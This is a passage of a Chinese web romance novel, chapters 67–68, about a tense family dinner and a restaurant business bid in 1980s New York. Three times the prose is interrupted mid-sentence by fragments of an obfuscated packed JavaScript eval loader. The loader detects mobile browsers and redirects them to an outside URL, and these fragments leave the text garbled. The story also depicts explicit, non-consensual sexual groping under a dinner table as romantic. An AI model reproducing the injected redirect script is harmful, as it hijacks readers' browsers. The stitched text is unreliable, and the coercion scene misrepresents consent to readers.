“中华民族五千年也就一个武则天,我顶了天算太后,但古时候太后的懿旨也只能止步于正阳门外,有许多事一个女人去抛头露面算得了什么?跟我相比,你已经躺在蜜罐里太久了,你哪里懂。” “我是不懂,”项廷窝着火,话放这了,就这么暴力,“我非插了他不可。” 这也属于北京的土话,插就是刀,插人就是把人按在地上吃刀片,这都是以前大院子弟茬架的专用语。所以项青云看了看他,觉得弟弟大局观也就这样了,很难再上升。也不想教育了,谁还没个青春呢。 停了停,她才说:“姐姐知道我们结婚没有铺垫,你接受不了,但是你不要总是有抵触情绪,最起码不要当着面表现出来。这儿是曼哈顿,不是咱北京城,独属你份儿最大。” “姐,你怎么看上他的?” “姐姐有自己的想法,更有自己的人生。人生的每个阶段,都有一个局要去破,不是吗?” “是啊,这年头,人不为己,天诛地灭!”姐弟谈心的主旨明确,项廷怎么都能绕回来,“所以你找他我是真不懂啊。” “我也不懂,”项青云看着他,“你哪来的那么大意见?有意见还专门往你姐夫那凑,按理说不应该啊,你是什么动机?” “哈哈,是吗,你没见吗,他老对我人格侮辱。”项廷想到哪扯到哪,“你听他说,他以前家里头镜子都没有,姐你不是下嫁吗,不倒贴吗,娘娘们们的,烂人烂得大大方方,能幸福吗。” “今非昔比,就算人家素质差,但人家家底子厚,不用打工。”项青云不是在意钱,是对弟弟打工的事耿耿于怀,久久不能释怀。 “有钱就是上帝,哪怕他是个大无赖?” “总不能没过河呢,就拆起桥来了吧?” “姐啊……” “好了,项廷,你要是再这样挑拨离间,”项青云打着趣,“我也要问问,你身上那些个印子,拜谁家的好姑娘所赐了。” 项廷以为姐姐要转移话题,正想着怎么转回来,没想到她转了又没转,如转。一时不知喜忧,往后仰了一下,出了口长长的气,才说:“这你甭问。” “要不是你逮着你姐夫不放,姐姐本来对你们俩的事,我不会多说一个字。” 讲得太简约,导致歧义很吓人。项廷喝水,没注意杯子里没水。 项青云皱着眉:“小打小闹可以,怎么下这样的死手?我看着那青得,这姑娘得是个练家子呀。” “别管,别问。”项廷心里憋着这码子事,很难受,原来人是可以被憋死的。听着,死的表情越来越释然。 “咱妈没得早,人家说长姐如母,我怎么也算半个婆婆吧?管是管不上了,连问都不能问吗?” “真不能,”偌大一个家,没水,项廷盛了一碗汤,忘记放盐就喝光了,“为你好。” 过来人姐姐:“项廷,你知道吗,不是哪个女孩子都愿意掐你的。愿意折磨你,闹你,在她心里她还是喜欢你。” 开心吗,项廷只觉得栽面子,被贬低了雄姿:“那你是没见我,我都打到他不掐了为止。” “以暴制暴那是法子吗?你是男孩子,心要像树一样撑得起,伞一样收得住,让让女孩是你的本分。但你也不能太没有原则,不能事事听她的,围着她的指挥棒转,那样就适得其反了,两个人反而走不长远。总而言之,你还小,时间总会把对的人留在身边。” 大公至正的一番宏论,终于压制住了项廷的表达欲。 饭做得也不得劲。美国人道屠宰杀猪不放血,卤煮略带脏器的味道。葱没有了,剪了点罗勒,改良版意大利式老北京烫饭端上来,项廷叫大家吃饭了。 蓝珀慢慢吞吞才来。项青云看丈夫忽然淡雅恬美,笑道:“你们俩不你一言我一语地开始揭发批判,我都不习惯了。” 蓝珀像一枚电力十足的美男那样笑笑,解释之前打的口水仗:“我只是说一下,我只是说着玩。” 项廷似乎也顺水推舟:“姐夫,对不住了啊。” 蓝珀说:“别叫我姐夫,叫得我浑身不自在,咱们还是拉开点距离好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398253|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 项青云说:“好了你真少说两句,你就饶了他吧,千错万错,童言都无忌。我弟弟是老实孩子,从小就这么大来着的。” 项廷招呼:“搭把手,椅子桌子都搬一下。” “做什么?”蓝珀警觉,“不许动!我这是有风水的。” 项廷说:“我要边吃边看球赛。” “你在我家成佛作祖唯我独尊了,过上太上皇的日子了,你就在这儿看不到?”两人之间的和平只是一时的,依旧谁也不买谁的帐。 “太远了啊,”项廷说,“我伤着了,老扭着脖子伤口不得裂了吗。” 项青云闻之大惊,赶忙让蓝珀把餐桌餐椅抬到客厅,口气带着不可违抗的气场:“简单动一下,费劲巴拉的。” 挪好了。项廷坐下来,正对着电视机,项青云坐弟弟对面。项廷还说:“姐你往右坐坐,挡着我了。” 蓝珀迟来,只见留了两个位置给他,分别是姐弟俩的身边。 项廷这么一调整,蓝珀不坐到自己身边,就只能坐在项青云的左边。 可问题是,这么一来,蓝珀左边那一片的肩颈就会被妻子看得一清二楚。 刚刚在阳台的时候,项廷不仅仅是顶住了他,还一只手从后面捏住了他的脸,那力气差点直接捏破相。蓝珀感觉他的身体烫得火星乱冒,从他手上的青筋来说,蓝珀毫不怀疑他能掐死自己。蓝珀心里直发毛,可是项廷居然什么也没干,只是指腹摩挲了他的脸,然后把手指搭在他脖子那的血管上,像把耳朵贴在猫肚皮上,爱上听他的脉搏。也只就那么几下,蓝珀便绷着全身抖抖瑟瑟。他试着劝项廷回头是岸,项廷就说:“不知道你在讲什么,我只想亲嘴。”蓝珀急忙紧闭嘴巴,好像很冷酷,可是没有出息地呼吸一大一小,项廷又说:“让你小声点,怎么越来越吵。”项青云的脚步声越来越近,咫尺之间之时,蓝珀恍然觉得这几乎是他离死最接近的一次——项廷凶相毕露咬住了他的脖子!这也太嫩了吧,一口就要出汁了。阳台的花房里满是暧昧得一塌糊涂的水声,蓝珀只能有呜咽来抗议,而项廷严厉中翩然而至的温柔,舒缓的节奏中的突然一记重击,又最为致命。项廷还记着仇,说蓝珀刚才不给他喝牛奶,这吐出来的话要再让他吞回去,今晚就要让不冷不热的牛奶从蓝珀嘴巴里流出来。很快就打开了身体的快乐开关,后腰酥了,真不知是谁给谁迷得脸红气粗,眼见这牌坊实在是立不住了,蓝珀才一狠百狠拽倒了身后的花架,那响儿就是这么来的。 蓝珀带着两排牙印跑了。一头成年的西伯利亚平原狼的咬合力不亚于项廷。项廷只是叼了一下他,还没开吃,蓝珀就对着镜子苦恼了一个小时,糟蹋了几盒鸭蛋粉雪花膏,可怎么看好像怎么都遮不太住,他觉得自己体无完肤。 坐妻子旁边,得被发现玩很大;坐小舅子旁边,总感觉他憋着坏。 所以蓝珀走到餐桌边上时,表情像再往前一步就跳崖。 最终他宁愿冒着险,祈祷项青云眼神不好。可还没坐下,项青云就说:“哎呀,你挡着他了。” 项青云把蓝珀的碗筷都推到了对面:“快坐下来,咱们一家人吃团圆饭了。” 项廷调着频道,好像都没看一下蓝珀,但他其实看了的,略看一看那略带娇艳的粉颈。蓝珀那么一刹也对上了他的眼神,项廷的那个眼神叫:就欺负你了,你又能怎么样呢? 蓝珀活着,会动,但杳无生动处。没能逃过,脸色极其难看,僵着慢慢坐了,他已经觉到不妙,这一顿饭能出八百个篓子了。客厅的死亡顶光之下,他头发纷纷站立起来,这人间乱得野蜂飞舞。 缓缓,自觉已经和焦虑共存和焦虑和解了。可当项廷说,姐这不乔丹吗,项青云背过去看电视,项廷一只手捏着桌上的砂锅的把儿,故意拖出了刺耳的声音,与此同时抓着蓝珀的椅子腿儿猛然把他朝自己拽近,窗外一个响雷,几个声音合在一块,项青云一点没察觉时,蓝珀这才切身体会到危险有时来得就这么莫名其妙又排山倒海。桌子底下,项廷的手,侵进了□之间。。 67. 卧看千山急雨来 项廷这么干,不只是不规矩的天性使然,为人缺乏普世价值观,他主要是为了这两人间透着的一股自己暂且瞧不明白的蹊跷。 这小夫妻打一进门,漂亮话与场面话对撞,项廷就捕捉到了一点含沙射影的意思来。世人众说纷纭看不清蓝珀的千面万象,项廷却明白,蓝珀虽爱骗人但他骗人一向恣情,爱信信不信滚的那种,跟他本人截然相反的粗犷,他披着床单说自己是姮娥仙子要回天上去的次数还少吗?若是表面伉俪,他又为了什么竟愿意把戏演到这个程度? 当前就所见所闻来说,项廷体会到了一丝旷世绝恋的味道。嫉妒蒙住双眼,脑袋里醋海翻腾,抓狂,以至于忽略了太多引人深思的情节。他是想捋捋,可从哪里开始捋啊? 单独提审了姐姐,越审疑点越多,费时费工还没结果,都把项青云问无语了也问不出个所以然。 所以他打算转攻蓝珀,围而不攻耗死他,人呢一慌就容易露出马脚。真金不怕火炼,项廷倒要试试这两口子到底是黄铜还是金。 蓝珀果然慌了,他猫头鹰一样,身体完全不动光一个头动,十分敏捷地转过一整张脸来。项廷看了直想乐,蓝珀睁的探照灯一样的眼睛,配着他现在圆脸胖鸡的形象,太可乐了。 一直以来,项廷认为他魅惑像狐狸,天天泡澡像美人鱼,一天到晚死懒死懒的但不时在房子走来走去然后没有任何征兆地突然安定下来,呻吟,像长毛的金吉拉,亲嘴一旦亲入迷了就化身吸蜜鹦鹉,大多数时候活脱脱一只茶杯小骚兔子,小部分时候是吐着信子不怀好意的蛇,他渐渐找到蓝珀和一切动物的相肖的证据,像集邮拼图一样有乐趣。在想蓝珀会不会下一秒就掀了桌子,受惊得像一只会后空翻的猫。 乔丹这场没首发,项青云失望地回了头。她舀水沾了沾手,清水香茗漱口,又分门别类地摘下了首饰,只剩下一些在礼仪上不得不保留的饰物,严守着翰墨诗书之族嫡长女的教条。 做完这一切,看见项廷还是一副嘴角上扬,压不下来一点的样子。好像丈夫和弟弟的对立情绪顿时化为乌有,立刻变得有说有笑了。项青云似乎也适应了,这夫舅的关系周期性震荡,但是过山车波动。 正式一点的饭局都要有个开场白,给吃喝附加一点人文的质量。项青云便说:“今天不年不节的却有了一桌子的满汉全席,首先要夸夸项廷,下了不少功夫;我要衷心感谢亲爱的丈夫,多亏了你的悉心照顾,难得你们投缘,我们美好的家庭才能这么和谐美满。行,话不多说,大家干杯!” 这话亮亮堂堂的,可说话的人又如何能知道一家三口同张桌子吃饭,就在这一张桌子底下,藏着脏东西,正发生着一个何其翻来覆去的故事。 蓝珀举杯用的是左手,因为右手正在下面,按着为非作歹的项廷。 动筷子之前,项青云说:“老公,你也说两句呀。” 蓝珀:“呃。” 项廷正得意着,同为男人,他晓得蓝珀这个状态,无疑是至少最近比较清静寡欲的,素得厉害。愉悦地代为回答:“姐你说得太精彩了,我姐夫都忍不住起立鼓掌了。” 项青云却比较执着,该有的对一家之主的尊重,非要给到蓝珀。举案齐眉应如是:“老公?” 这不拱火吗,项廷真想屏蔽这个词,可老公这两个字的余音不绝,就在他的两耳间做折返跑。项廷够受的,马上说:“姐你什么时候这么赶时髦了?” 项青云有点不明白他的所指。蓝珀却说了:“美国可没人叫老公。” 项廷嘴角扬到一半,只听蓝珀说:“老婆,你是我的达令。” 言罢,大腿上的手变得好生安分。爱情的小鸟,只是飞了一下就折翼。项廷现在像只绿头苍蝇被粘在捕蝇纸上,受困于深深的自我怀疑,全身不遂。 爱真让人变残缺,项廷亦失去了语言功能的第不知多少分钟,盘子里鱼的肚子都给吃空一半了,项廷才说:“一把年纪了还放着洋味的屁!” 蓝珀不是经常一言不合就摆年龄资格吗,项廷决定狠狠成全他一把! 蓝珀听了很受用,笑起来招财猫一样上下点点头,老气横秋、但是笑容不减一点甜度地说:“就是年纪大了才有一颗体贴入微的心,老婆宠得好,招财又进宝,这道理你讲给小男孩听,他可能懂吗?” “你还真得多灌输,为了你弟媳好。”项青云掩口笑道,“你是不是先我一步考察了?快说说,那姑娘什么样?” 蓝珀好像抠搜着这点八卦,不愿分享似的。项青云就推项廷:“那你自己来说。” 项廷又戳一个痛点:“大胖丫头。” 蓝珀笑着摇摇头:“你已经够体贴了,不用姐夫教了。” 项青云尝了几道菜,心里实在和美:“你要是真够体贴,就评价一下这几个菜吧。” “我不敢说,我怕聊着聊着就散摊子了。”蓝珀摇晃着酒杯,踩在云里似的,像个无聊的吟游诗人,“青云,我可不像你,你坚定的口气,滔滔不绝的口锋,尤其是十分标准的普通话,还是非常让我佩服的。” “可不吗,我姐话剧团出来的。”项廷虚晃一枪,这跟豌豆黄性质一样,都是为了诈蓝珀。 蓝珀赞叹:“真好,我以前以为北京人讲话都是奴才腔呢,北京女孩的舌头比我们长半截,总想着请她们先把嘴里的袜子拿出来再说话。” 乔丹上场了。但是项青云乔丹都不看了,还是要深度参与这个话题:“你说的那些都是胡同串子,我们大院里长大的孩子谁有口音?” 蓝珀致歉:“哦!原来是我遇见的不纯血。” “你知道就好。”项青云身子转过去,欣赏比赛。 项廷却仗义执言:“都198/9年了,又不是宠物,还讲血统!” 项青云转过来,一种执教的态度:“不论立足哪个时代,一个人说的话必须和自己的身份相称吧?” 因在美国饱受种族歧视之苦,项廷对这番唯出身论很有看法,如鲠在喉,正要继续跟姐姐辩,他要把他姐叫醒,别做那个不以一人劳天下以天下奉一人的美梦啦。我们家的祖宗确实伟大,但保不齐后代是什么样子,第一代就算行,第二代呢?子子孙孙无穷尽也,祖荫迟早还是五代而竭的事。 忽然,一旁的强光把他闪了一下。 水晶吊顶下面,蓝珀手上那个满金满钻加粉红海螺珠的大戒指过于夺目了。项廷因此看过去,便见蓝珀美女蛇似的盘在那边,一口酒分了十口喝,恐怕是为了遮着他一直含着笑的嘴角。 本来目的不是要撕开姐姐姐夫的恩爱假面吗,这不对啊,怎么蓝珀吹灰之力就转移斗争的大方向了?一个没注意,蓝珀倒全须全尾地躲进幕后了。 项廷没有给他带沟里去,急头白脸地跟姐姐内讧。 但他实在有些情绪在,什么老公老婆,什么达令亲爱,他越想越是那么回事,怒气拔地而起。仿佛为了宣示所有,更证明自己绝非色大胆小,此刻握着的也似乎不是男人根而是权柄,他又一次偷袭了蓝珀。 可说实话,项廷不止一点排斥这玩意。有的男的一块上个厕所都能聚众比大小,项廷只觉得多变态才能有这种行为,不恶心吗。但是能把蓝珀顾名思义地玩弄于股掌之间,单单这个想头便让他克服了许多心理障碍。 项青云沉浸在球赛里,其实她不懂篮球,门外汉一个,纯看热闹。项廷激情解说,项青云的眼睛便一时半刻也离不开电视机了。 “东部决赛的关键场了,乔丹领着芝加哥公牛打骑士队,双方之前是2比2平手。” 项廷的手包着那儿,张开的五指把蓝珀的腿像圆规一样撑开。蓝珀无声地惊喘一声,立刻想要合拢双腿。可显然他并没有说不的权利。 “赛点局!胜负就在这一战了,输了就万劫不复!” 蓝珀瞪了过来,好像指望着能用眼神把项廷剜出一个洞来。他的嘴唇死死地咬着。 “最后时刻,骑士队雷格伊罗空切上篮,球进了,反超公牛一分!公牛只剩三秒钟,一球定生死,心都快跳出来了!” 明明是□在被戏弄,蓝珀却像上面的小嘴遭了侵犯似的。他想叫却叫不出声,于是竟好像是有哪个透明人把他的嘴唇一不小心顶开了一点似的,蓝珀甚至无意识地舔了一下唇。 “姐快看!乔丹神了!对手全力封锁,乔丹旱地拔葱压哨绝杀!公牛太牛了!” 蓝珀整个上半身颤抖了一小会儿,白晃晃的脸上冒出细细的冷汗。□。 蓝珀攥住了他的手腕,真的不给他往里再去了。两人视线撞在一起,项廷以为他要说,我让你死都没地方死之类的狠话,岂料蓝珀无言,也不伤心惊怒,眼里只有一片空旷,盛满灵魂的空空如也,总感觉会在他瞳孔的倒影里看到什么可怕的东西。蓝珀推了他的手好几次,每次就好像浪花撞在礁石上。两手并用他又没有勇气,那样项青云要是忽然一转身必然看出古怪。 一开始只是找开心的玩法,但是渐渐地又急又凶。蓝珀的头发丝渐渐飘零的绸缎一般,在洁白的额头上蜿蜒曲折如一幅水墨画。 项廷蓦地松了劲。 不为别的,只为了蓝珀的手。就刚刚,项廷想着加把劲,□,又想把蓝珀顶到南墙上撞一撞,逼他从此就范,认清楚雌雄,所以甚至故意叫了他姐回一下头。然而就这么样九死一生的关头,蓝珀居然也一点儿劲也使不上来。这已不是青春期自残可以解释的了,他简直就像截过肢,煮了一锅稀饭,熬糊了,就这么把断手粘了起来。 蓝珀打不开他的手,却一下把项廷的糊涂劲打掉了。项廷心里一阵阵地发凉。□,但他感觉,蓝珀眼下不止身体正强烈地抽泣着。 “对了老公。”项青云忽说。 蓝珀虚弱而迷糊地应了一声:“啊。” 项青云眼睁睁地看见丈夫面若桃花,他这张工笔画的脸一旦气血足了便立马有了浓妆艳裹的效果,而她毫不知情那是因为迭起一浪翻过一浪的高潮,只顾着去拿来手提包。 她掏出一只七宝念珠手串,说是开过光,送给蓝珀。特地强调了三遍,藏传。 项廷本还在觉得滑稽,他姐好一个冰雪聪明的小姐,今天忽然就傻了,看不出老公当着她面发大水,就算不是自己,她老公后半辈子没男人操也不行了。可见了项青云这么上心,还准备礼物,项廷不禁说:“姐,你来真的?” 他说的是情真意真,婚姻真,宝宝真,蓝珀却曲解为真品的品:“当然是真的。我老婆出手一向不凡,身上哪件东西没有重大来头,毕竟祖上可是晚清的最后一块骨头。耳环慈禧太后传下来的,项链陈璧君戴过,衣服上有宋美龄御用裁缝的签名,百宝箱一架军机运不过来。” 项青云的笑容凝住了,遂说:“项廷,你去给你姐夫炝点花椒油,黔贵的人就好这口。” 项廷真去了,因为他要静静,他要捋捋。一边炝,一边捋。 炝好了回饭桌,这俩之间还是说不出地奇怪。互相夹菜,但姐姐说受之有愧,姐夫便道这如何敢当啊。 冷场了。于是项青云盛汤的时候,又致力于让蓝珀夸夸自己的弟弟。 蓝珀给面子:“国宴啊。” “你说到这个我想起来,”项青云笑道,“你最近不是升职了,请客吃饭了吗?特别是那位剑桥公爵可不能落下。咱们家现在也是有一代名厨了,不怕露两手。” 一个情敌没赶跑,又来一个,内忧外患,项廷有话说:“不熟,尴尬。” “虽然说不上熟,但也有一面之缘。”项青云回忆道,“86年伊丽莎白访华,到了钓鱼台国宾馆,带的翻译水土不服闹了肚子,临时拉我去。谁知道完全没必要,人家王子的汉语说得就跟母语一样。” 项廷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398254|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像流浪狗在看家狗的眼神:“这事我不知道?” “这算什么事,”项青云说,“谁知道你野哪去了,我还给你要了一顶英国仪仗队的狗熊兵帽子,刚给你两天你就找不见了。” 蓝珀忽说:“我也不知道。” 项廷一门心思琢磨着如何外御列强,项青云也不关心丈夫的一句琐谈。 而蓝珀竟眼睛跑了神似的,一个清醒的说梦者的模样。音调没有强弱对比,小声大白嗓自言自语,道:“他跟我说和皇室不来往了,早就断干净了。” “下次要人翻译,我首推你。”项青云恩典一样的口吻,“蓝珀呀蓝珀,你可是会八国语言的天才,几百年出不了一个。” “我会的两只手都数不过来,”蓝珀也不谦虚,然后用很家常的语气说,“一个词拼错了就挑断你的手筋,一个音说不准就割掉你的舌头,换你你也学得会,离天才你缺的只是一个鼻环。” 项青云的表情拧了一下,但很快脸部的五官霎时回归原位,肆无忌惮地大笑起来,对着弟弟说:“看看你姐夫,真爱开玩笑。” 好好的家庭聚餐,气氛莫名就变恐怖片了。项廷觉出这绝对是个重大的突破口,找到了一团毛线的线头,往下捋一定有料。大料,唾手可得。 可姐姐说蓝珀在说玩笑话,项廷却知道,所有的玩笑话都必有认真的成分。蓝珀此时如同一株南国烟柳,他经不起一点儿的摧折侵凌,项廷看得出来,他甚至没看,光凭的直觉。 “你俩别说话,都听我说。”项廷快刀斩乱麻,切一个不会让蓝珀受伤害的频道,“我要在北京开麦当劳,姐你认识玛丽张吗?” 项青云还执着刚才的话题:“我认识费曼·查尔斯·赫尔南德斯·温莎,还有……” 她马上要一句接一句叠罗汉竟报出来十几个闻所未闻的洋名,里头可不止欧洲的大贵族们,那随便挑一个都是能撼动当今环球政坛的存在。 项廷又是直觉,他姐在伤口撒盐,虽然没有任何证据。他果断厉声打断:“得了,从现在开始,看您的迈克尔·杰弗里·乔丹去,一个字儿甭往外吐了。” “你就这么跟姐姐说话?”项青云大吃一惊。但惊一下也就算了,她把弟弟的行为归咎于贫嘴,绝对不可能是忤逆她。 是啊,家里谁敢忤逆她?项廷拉个臭脸不发一言。项青云看弟弟怂了,她只有三分无奈七分淡定,满脸表情只写了四个字:谅你不敢! 哪知项廷在酝酿,还有后续:“我这是先闭嘴,给你做个表率。” 项青云薄怒道:“到了外国野蛮生长,你越来越没正形儿了,那我还得感谢你姐夫搭的这座好桥?” “没我你就不谢他吗,”项廷反问,“没他你不也来不了吗?” 项青云的脸色立刻像生吞了一只大苍蝇:“那…姐姐从头到尾说的是你的问题吗,有的是人推聋做哑,你非要抢着在这比比划划的是干什么?你的胳膊肘往哪里拐?你是不是真的有什么问题?” “你不看球就去洗碗,说吧,两条道儿你挑一条走。” “你,你!” “我怎么了?我知道了,怪我菜做多了,一塞得满肠满胃就非得往外吐了,吃一嘴炉灰渣子都堵不住了。姐,做人留一线?” 姐弟俩后面的话,外人怕就听不太懂了。项廷吞音吃字过于疯狂,而项青云原来也可以像个京片子,她比项廷地道多了。没办法,偏偏一些土得掉渣的话用着就是特顺口。 项青云说不过,气不过,可又不愿意离场认输,最终还是转过去看乔丹了,留下一个切齿痛心的后背。 接着,项廷才怀着小心,委婉地找蓝珀说话:“我要搞定瓦克恩,你支支招。” 蓝珀波澜不惊地说:“瓦克恩特别愿意收养脑瘫儿童,你把自己涮黑,再管他叫一声爸爸。” 项廷不确定他心情好点没有,便拿了台面上一个彩陶小狗,摆在蓝珀盘子旁站岗。见站岗效果不好,项廷按倒了狗头,五体投地。哄他道:“你这么爱过家家,我还说你像妈妈呢。” “那你叫我一声妈?”蓝珀冷不防说,接下来的一语却说到了项廷的心里去,“知道吗,不管闯了多大的祸,妈妈可永远不会把儿来恨。” 蓝珀垂着沉重的黑色睫毛像吸血蝙蝠的翅膀,他的嘴唇也红殷殷的。单单坐在那里,都有一种风情浸润而出,抬腕低眉间轻舒玉手便够惊绝了。忽觉蓝珀比中国闷头造航母具有战略意义,他往南海的岸上轻轻一站,两个眼睛忽灵忽灵的,美国的航母便下水忘关舱门了,通通报废! 一个男人怎么可以这样妖言这样惑众呢。姐夫仿佛在他心口吹了气,项廷呼吸都轻了。可当着姐姐的面,这声妈仍需一定的心理建设。 没承想项青云已然爆发,猛不丁站起来:“项廷!我今天就是把手抽烂了也要把你从这个家里赶出去!” 项青云抄起一个纸巾盒就砸过去!纸巾盒的飞行轨迹不明,不知道是本来就朝项廷来的,还是项廷眼疾手快中道截停了它,反正结果是项廷挨砸了。桌上的牙线罐、筷子枕、杯垫餐布,各种神仙都加入到战团当中。 枪林弹雨中,项青云骂道:“今天是咱妈的祭日,你在这颠三倒四说这种没边儿的混账话!” 当头棒喝,项廷也懵了,此话怎讲啊? 他实属不知情。打小儿全家上下对他妈的事,就是一个讳莫如深,你瞒我瞒,不要说死因,生母的照片他都没见过半张。但见项青云一下飞机便浑身缟素,这么一联系,重孝在身,不似有假。项廷一时半会也哑了。 项青云登登登地去翻行李箱,抱出来一个核武,挪开来桌上一溜儿的菜盘。搁到正中央的黄金位置,还特意翻了一面。“先妣项母杨孺人闺名威凤生西莲位”,十五枚硕大的血字抖擞着活过来了一般,说亲道热有如一家,红森森的,正对蓝珀。 68. 好事多磨天忽雨 蓝珀说他下楼抽根烟,此夜再也没回来。 吵架了什么也不要做,过一会就自动和好,这就是一家人。所以姐弟俩第二天就像没事人似的了。项廷问起来姐夫的去向,项青云没好气儿地撂了一句我哪知道。项廷说是不是上哪出差去了?没有第三个人,项青云却小声而严肃地说,哦是吗,你比我还清楚,我的前瞻性怎么跟你相差了十万八千里?项廷心虚地笑一下,不再问了。项青云次日提个小登机箱去康州访学了,于是项廷这一个礼拜都处于逍遥状态。 就这么来到周四,麦当劳招标比选的日子。 招标会定在四季酒店的多功能厅,因为要招待外场的大批媒体,麦当劳将当场宣布其最终的合作伙伴,彰显鲸吞中国市场的雄心,冲一手股价。项廷想,蓝珀说过,瓦克恩做事往往就是事儿还没做,势先造了,果然如此。 美国西五区时间上午10时,四季酒店,地下停车场。 项廷第一个下了面包车,接着依序下来秦凤英、老赵、珊珊、嘉宝,人人都穿了深颜色的正装,面相十分不俗。 地上就是酒店大厅。项廷在电梯前停下来,转过身面对众人,最后演习:“大家各就各位了吧?” 老赵惴惴道:“我是什么来着,那个词儿。” “品控经理。”项廷郑重道,然后看向秦凤英,“秦姐你是总经理,记住了。” 这么大的跨国项目,项廷肯定不能单打独斗。他去唐人街招兵买马,一开始谁都把他当乐子看。尤其是秦凤英,领着她的婶姨团笑话项廷,说他想当孩子王。可当项廷掏出一大张中国地图,将军布阵似的指说,秦姐你本割据东三省人号金刚狮子头,今我华夏餐饮大业朝夕不保,九州饭店社稷孤穷无告,汝当驰援北京,保境安民,如此天下亦可图的时候,姐妹们都大眼小眼地盯着她呢,秦凤英确实是给这个大男孩架迷糊了,只得慌走入阵。老赵更不消说,屡受深恩,必当往救。如此两下夹攻,项廷大败群妪,降者无数,余党溃散。及三日,班子初具雏形,但男同胞里唱衰的声量却越来越大。以前煲煲好最仗势欺人的那个经理,蹲路边打牌冲项廷喊,这事你办得成我吃屎。项廷过去请他抽烟,并借三五千人马,重偿。遂引众将出,陈兵于野,超广角镜头拍特大合照,做旧,塑封,题字:北京龙凤呈祥餐饮集团有限责任公司。这公司是切切实实存在的,只不过注册地在铁岭。照片发给瓦克恩,瓦克恩还来不及考据查实,就先收到项廷的早茶邀请,项廷轻描又淡写:蓝珀请客。瓦克恩早早赴约,项廷说不好意思,我姐夫起不来这早。瓦克恩以与他教养地位相符的耐心吃完了一个虾饺,要走,项廷说我姐夫正在努力起床。凤爪啃了十七八个,糯米鸡的荷叶堆成小山,瓦克恩正要扬长而去,伯尼来了。经此大家亲眼所见项廷与大佬谈笑风生,势焰可畏,瓦克恩自然也感受到了何谓唐人街皇帝,项廷出入,鸣锣开路,夹道欢呼,不止于此,他居然还有政界靠山!两头骗,打的就是信息差,于是最后一点质疑声音也没了。唐人街夜篝火,狐鸣呼曰:此子受命于天,当代之伟器也。众人啸聚山林,各领朝政,抢着要跟项廷干,贼势日臻浩大。 所以今天来的只是广大人民的小小代表。半个纽约的华人,昨晚上在一块吃了一顿杀猪菜,为他们壮行。可秦凤英头脑热了那么一阵以后,惊觉项廷说的一串彩色的屁一样空洞。 虽然改开激荡十年鱼大水大,正是下海的好时机,但一大家子跟着一个小孩的屁股后面热火朝天的算什么?秦凤英变成所有人当中最冷静的了,可答应了项廷又不能反悔。 秦凤英抱着白跑一场、凑份子的心态,一有空就消遣项廷:“我们人人都是经理,那你自个是啥?” 项廷看着缓缓下落的电梯,想到在美国第一次见到这么富丽堂皇的电梯,就是在高盛大厦那一次。蓝珀那张印着MD的金箔名片从那刻起深深烙在了他的脑子里。项廷正了正领带,张口就来:“我董事总经理。” 最后面的珊珊一下子扑哧地笑出来。秦凤英说:“不许笑,办公室主任。” “那叫秘书。”项廷纠正。 秦凤英说:“一个黄毛丫头像秘书吗?你那个瓦总信不?” 项廷说:“我不跟他介绍过吗,这叫激活麦当劳年轻化的密码。” 秦凤英对女儿老跟着项廷跑很不满,说:“你旁边那个不更像小蜜?” 说的是从事夜场工作的嘉宝,黑眼圈有点重,但身材不输沙曼莎。 项廷说:“你搞混了,这是翻译。” 华人英语不行的比比皆是,老赵一句No English无往不胜,秦凤英会的也不多,珊珊更是不学无术。项廷现在日常听说都没问题,但他怀疑一会儿那帮白左精英净说古代词汇,便带上了嘉宝以防不测。 进了电梯,秦凤英还怎么大声取笑,项廷都不往心里去,闲言少叙:“干就完了,一起加油!” 电梯门开了的一瞬间,他屏住呼吸,只见酒店大堂熙来攘往,盛况空前。皇宫般的巨大前厅中心矗立着一尊光影玄妙的喷泉,柱子上金色的图案格外浮凸,天花板上嵌了一幅油画,诸神在云间徜徉,一切魔法世界一般,简直是电影里头才有的造景。 项廷去办登记手续。能到此一游也差不多算是跨进天堂了,老赵表情茫然,连往哪走都不知道了。侍应生迎接,问他需要什么饮品,老赵缩着嘴不敢张开,藏好他那一口黄澄澄的大板牙。 秦凤英笑道:“瞧你一副土里土气的模样,干脆头上插个草标演杨白劳去得了,别贼眉鼠眼让人怀疑你是化了妆的台湾特务。” 秦凤英自认见过大世面,但是去了一趟洗手间,只见那雕花马桶的盖上应用了象牙,回来便忽然关注起了女儿的仪容仪表。捏起珊珊挑染的一缕黄中带绿的毛,命令她赶紧找个剪子立刻绞了去。 项廷回了主会场,只见老赵萎蔫,秦凤英生着气似的,嘉宝一个人占了俩位,在涂脚指甲油。问珊珊哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蓝珀更是今天的特邀评标专家,不夸张,他一言九鼎。一路上蓝珀却惜字如金,给瓦克恩整得不太会说话了。瓦克恩提到某个合作商还不错,蓝珀不评价,瓦克恩表示个人愚见,不喜勿喷。 车童打开车门,蓝珀一时没下去,瓦克恩也没先动的道理。 只见不远处的喷泉边,男孩抚摸着一茎乌发,小意温柔,女孩低着秀颈。少女的脸红胜过一切。 